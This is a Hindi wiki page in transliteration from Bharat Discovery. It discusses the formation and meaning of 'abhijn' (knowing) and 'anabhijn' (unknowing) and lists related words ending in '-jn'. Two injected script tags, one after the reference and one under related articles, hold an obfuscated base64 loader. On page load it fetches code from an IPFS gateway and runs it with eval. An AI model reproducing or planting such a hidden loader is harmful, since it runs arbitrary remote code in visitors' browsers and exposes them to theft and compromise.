अभिज्ञ और अनभिज्ञ

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
The printable version is no longer supported and may have rendering errors. Please update your browser bookmarks and please use the default browser print function instead.

‘bhijn’ koee shabd nahian hai. kuchh log samajh baithe haian ki ‘ajnani’ ke ‘a’ ke saman ‘abhijn’ ka bhi ‘a’ nakaratmakata ke lie hai aur bacha hua ‘bhijn’ sakaratmak arth ‘janakar’ ke lie hai. isi prakar, ve samajhate haian ki ‘anajan’ ke ‘an’ ke saman ‘anabhijn’ ka bhi ‘an,’ nakaratmakata ke lie hai aur bacha hua ‘bhijn’ phir ‘janakar’ ke lie hai. vastutah ‘janakar’ ke lie shabd ‘abhijn hai, jis ke khand ‘abhi’ aur ‘jn’ haian. ‘abhi’ mane ‘jnani, janane vala, parichit’. ‘abhi’ ke mool mean ‘bha’ dhatu hai, jis ka arth ‘dipti hai, aur ‘jn’ ke mool mean ‘jna’ dhatu hai, jis ka arth hai ‘janana, parichit hona, sikhana’.

udaharan

ab ‘anabhijn’ shabd se sahi-sahi ‘abhijn’ hone ke lie age badha jae. ‘anabhijn’ ki rachana ‘abhijn’ ke poorv ‘n’ jo dane se huee. yah ‘n’ palat kar ‘anh’ ho gaya, jis se shabd ka roop ‘anh+abhijn’ arthath ‘anabhijn’ ho gaya hai. ‘jn’ ko jo d kar banae ge uparyukt tatha kuchh any shabdoan ke arthoan ka ras-pan kijie-ajn (jnanarahit, achetan, j d, nasamajh, moorkh); anabhijn (anajan, anabhyast, ana di, aparachit, navaqiph, buddhihin, moorkh) abhijn (janakar, janane vala, anubhavashil, kushal); alpajn (kam jnan rakhanevala, nasamajh) tattavajn (ajakal ‘tatvajn’ bhi) (tatv janane vala, darshanik, brahmajnani); marmajn (rahasy janane vala tatvajn’) rasajn (kushal, nipun, kavy-marmajn); vijn (kushal, chatur, pratibhavanh, pravin, buddhimanh) shastrajn (shastravetta); sarvajn (sarvajnata, sab-kuchh janane vala param jnani). oopar likhe ge sabhi shabd visheshan haian, par ‘sarvajn’ sanjna ke roop mean bhi agami arthoan ka vachak hai-eeshvar, jinadev, tirthankar, devata, buddh, shiv.[1]


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

tika tippani aur sandarbh

  1. manak hindi ke shuddh prayog bhag 1 (hiandi) bharatiy sahity sangrah. abhigaman tithi: 31 disambar, 2013.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


varnamala kramanusar lekh khoj

a   a    i    ee    u    oo    e    ai    o   au    aan    k   kh    g    gh    n    ch    chh    j    jh    n    t    th    d   dh    n    t    th    d    dh    n    p    ph    b    bh    m    y    r    l    v    sh    sh    s    h    ksh    tr    jn    rri    rri    aau    shr   aah